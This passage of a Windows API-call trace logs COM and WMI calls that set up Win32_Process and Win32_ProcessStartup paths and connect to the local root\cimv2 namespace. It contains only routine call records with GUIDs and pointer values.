Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0136.685] WbemDefPath:IUnknown:AddRef (This=0x1bc40040) returned 0x3 [0136.685] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40040, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0136.685] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40040, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0136.685] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40040, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bc6f900) returned 0x0 [0136.685] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc6f900, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0136.685] WbemDefPath:IUnknown:Release (This=0x1bc6f900) returned 0x3 [0136.685] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0136.685] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0136.685] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40040, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0136.686] WbemDefPath:IUnknown:Release (This=0x1bc40040) returned 0x2 [0136.686] WbemDefPath:IUnknown:Release (This=0x1bc40040) returned 0x1 [0136.686] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0136.686] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0136.686] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40040, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bc40040) returned 0x0 [0136.686] WbemDefPath:IUnknown:AddRef (This=0x1bc40040) returned 0x3 [0136.686] WbemDefPath:IUnknown:Release (This=0x1bc40040) returned 0x2 [0136.686] WbemDefPath:IWbemPath:SetText (This=0x1bc40040, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0136.686] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40040, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0136.686] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40040, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0136.686] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40040, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0136.686] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc40040, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0136.686] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40040, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0136.686] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc40040, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0136.687] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0136.687] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0136.687] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0136.687] IUnknown:Release (This=0x1a943398) returned 0x1 [0136.689] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bc6f940) returned 0x0 [0136.689] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc6f940, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0136.689] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc6f940, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bc40100) returned 0x0 [0136.689] WbemDefPath:IUnknown:Release (This=0x1bc6f940) returned 0x0 [0136.689] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40100, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bc40100) returned 0x0 [0136.689] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40100, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0136.690] WbemDefPath:IUnknown:AddRef (This=0x1bc40100) returned 0x3 [0136.690] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40100, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0136.690] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40100, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0136.690] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40100, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bc6f980) returned 0x0 [0136.690] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc6f980, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0136.690] WbemDefPath:IUnknown:Release (This=0x1bc6f980) returned 0x3 [0136.690] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0136.690] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0136.690] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40100, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0136.690] WbemDefPath:IUnknown:Release (This=0x1bc40100) returned 0x2 [0136.690] WbemDefPath:IUnknown:Release (This=0x1bc40100) returned 0x1 [0136.691] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0136.691] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0136.691] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40100, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bc40100) returned 0x0 [0136.691] WbemDefPath:IUnknown:AddRef (This=0x1bc40100) returned 0x3 [0136.691] WbemDefPath:IUnknown:Release (This=0x1bc40100) returned 0x2 [0136.691] WbemDefPath:IWbemPath:SetText (This=0x1bc40100, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0136.691] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40100, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0136.691] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40100, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0136.691] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40100, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0136.691] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc40100, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0136.691] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40100, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0136.691] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc40100, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0136.691] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40100, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0136.691] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0136.691] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0136.691] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.691] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0136.691] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0136.691] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0136.691] IUnknown:Release (This=0x1a943398) returned 0x1 [0136.693] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1bc6f9c0) returned 0x0 [0136.694] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc6f9c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0136.694] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc6f9c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1bc401c0) returned 0x0 [0136.694] WbemDefPath:IUnknown:Release (This=0x1bc6f9c0) returned 0x0 [0136.694] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc401c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1bc401c0) returned 0x0 [0136.694] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc401c0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0136.694] WbemDefPath:IUnknown:AddRef (This=0x1bc401c0) returned 0x3 [0136.694] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc401c0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0136.694] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc401c0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0136.694] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc401c0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1bc6fa00) returned 0x0 [0136.694] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc6fa00, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0136.694] WbemDefPath:IUnknown:Release (This=0x1bc6fa00) returned 0x3 [0136.694] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0136.695] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0136.695] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc401c0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0136.695] WbemDefPath:IUnknown:Release (This=0x1bc401c0) returned 0x2 [0136.695] WbemDefPath:IUnknown:Release (This=0x1bc401c0) returned 0x1 [0136.695] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0136.695] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0136.695] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc401c0, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1bc401c0) returned 0x0 [0136.695] WbemDefPath:IUnknown:AddRef (This=0x1bc401c0) returned 0x3 [0136.695] WbemDefPath:IUnknown:Release (This=0x1bc401c0) returned 0x2 [0136.695] WbemDefPath:IWbemPath:SetText (This=0x1bc401c0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0136.695] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc401c0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0136.695] WbemDefPath:IWbemPath:GetText (in: This=0x1bc401c0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0136.695] WbemDefPath:IWbemPath:GetText (in: This=0x1bc401c0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.696] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0136.696] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0136.696] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0136.696] IUnknown:Release (This=0x1a943398) returned 0x1 [0136.697] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1bc6fb00) returned 0x0 [0136.697] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc6fb00, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0136.697] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bc6fb00, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: ppvObject=0x1bb7dbb8*=0x1bc6fb20) returned 0x0 [0136.697] WbemLocator:IUnknown:Release (This=0x1bc6fb00) returned 0x0 [0136.697] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc6fb20, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x1bc6fb20) returned 0x0 [0136.697] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc6fb20, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0136.697] WbemLocator:IUnknown:AddRef (This=0x1bc6fb20) returned 0x3 [0136.698] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc6fb20, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0136.698] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc6fb20, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 0x80004002 [0136.698] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc6fb20, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0136.698] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0136.698] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0136.698] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc6fb20, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0136.698] WbemLocator:IUnknown:Release (This=0x1bc6fb20) returned 0x2 [0136.698] WbemLocator:IUnknown:Release (This=0x1bc6fb20) returned 0x1 [0136.698] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0136.698] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0136.698] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc6fb20, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1bc6fb20) returned 0x0 [0136.698] WbemLocator:IUnknown:AddRef (This=0x1bc6fb20) returned 0x3 [0136.698] WbemLocator:IUnknown:Release (This=0x1bc6fb20) returned 0x2 [0136.698] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc401c0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0136.698] WbemDefPath:IWbemPath:GetText (in: This=0x1bc401c0, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0136.698] WbemDefPath:IWbemPath:GetText (in: This=0x1bc401c0, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.698] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1bc6fb40) returned 0x0 [0136.699] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bc6fb40, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1bc655e0) returned 0x0 [0136.854] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc655e0, 